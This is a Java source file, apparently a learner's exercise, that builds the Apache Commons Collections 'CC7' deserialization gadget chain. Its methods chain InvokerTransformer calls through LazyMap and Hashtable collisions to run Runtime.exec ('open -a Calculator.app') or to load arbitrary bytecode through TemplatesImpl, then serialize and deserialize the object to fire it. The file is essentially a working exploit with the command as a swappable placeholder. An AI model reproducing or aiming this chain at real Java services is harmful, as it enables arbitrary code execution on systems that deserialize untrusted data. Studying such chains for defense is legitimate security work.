1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211
| package org.cclearn;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import org.apache.commons.collections4.map.LazyMap;
import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Hashtable;
public class cc7Learn {
public static void cc7_1_1() throws Exception { String cmd="open -a Calculator.app"; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd}) }; ChainedTransformer ct=new ChainedTransformer();
HashMap<String, Integer> hashMap = new HashMap<>(); LazyMap<String,Integer> lazyMap=LazyMap.lazyMap(hashMap,ct); lazyMap.put("zZ", 1);
HashMap<String, Integer> hashMap2 = new HashMap<>(); LazyMap<String, Integer> lazyMap2 = LazyMap.lazyMap(hashMap2, ct); lazyMap2.put("yy", 1);
Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap, 1); hashtable.put(lazyMap2, 2);
Class<ChainedTransformer> chainedTransformerClass = ChainedTransformer.class; Field iTransformersField = chainedTransformerClass.getDeclaredField("iTransformers"); iTransformersField.setAccessible(true); iTransformersField.set(ct, transformers);
lazyMap2.remove("zZ");
String fileName = Serialize.serialize(hashtable); Serialize.deserialize(fileName);
}
public static void cc7_2() throws Exception { TemplatesImpl templates = new TemplatesImpl(); try{
Class<TemplatesImpl> templatesClass = TemplatesImpl.class; Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "au9u5t"); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code= Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class")); byte[][] codes= new byte[][]{code}; bytecodesField.set(templates, codes);
Field classField = templatesClass.getDeclaredField("_class"); classField.setAccessible(true); classField.set(templates, null);
}catch (Exception e){ e.printStackTrace(); }
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
ChainedTransformer ct=new ChainedTransformer();
HashMap<String, Integer> hashMap = new HashMap<>(); LazyMap<String,Integer> lazyMap=LazyMap.lazyMap(hashMap,ct); lazyMap.put("zZ", 1);
HashMap<String, Integer> hashMap2 = new HashMap<>(); LazyMap<String, Integer> lazyMap2 = LazyMap.lazyMap(hashMap2, ct); lazyMap2.put("yy", 1);
Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap, 1); hashtable.put(lazyMap2, 2);
Class<LazyMap> lazyMapClass = LazyMap.class; Field factoryField = lazyMapClass.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap, invokerTransformer);
lazyMap2.remove("zZ");
String fileName = Serialize.serialize(hashtable); Serialize.deserialize(fileName);
}
public static void cc7_1_2() throws Exception{
TemplatesImpl templates = new TemplatesImpl(); try{
Class<TemplatesImpl> templatesClass = TemplatesImpl.class; Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "au9u5t"); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code= Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class")); byte[][] codes= new byte[][]{code}; bytecodesField.set(templates, codes);
Field classField = templatesClass.getDeclaredField("_class"); classField.setAccessible(true); classField.set(templates, null);
}catch (Exception e){ e.printStackTrace(); }
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer", null, null) }; ChainedTransformer ct=new ChainedTransformer();
HashMap<String, Integer> hashMap = new HashMap<>(); LazyMap<String,Integer> lazyMap=LazyMap.lazyMap(hashMap,ct); lazyMap.put("zZ", 1);
HashMap<String, Integer> hashMap2 = new HashMap<>(); LazyMap<String, Integer> lazyMap2 = LazyMap.lazyMap(hashMap2, ct); lazyMap2.put("yy", 1);
Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap, 1); hashtable.put(lazyMap2, 2);
Class<ChainedTransformer> chainedTransformerClass = ChainedTransformer.class; Field iTransformersField = chainedTransformerClass.getDeclaredField("iTransformers"); iTransformersField.setAccessible(true); iTransformersField.set(ct, transformers);
lazyMap2.remove("zZ");
String fileName = Serialize.serialize(hashtable); Serialize.deserialize(fileName);
}
public static void main(String[] args) throws Exception { cc7_1_2(); } }
|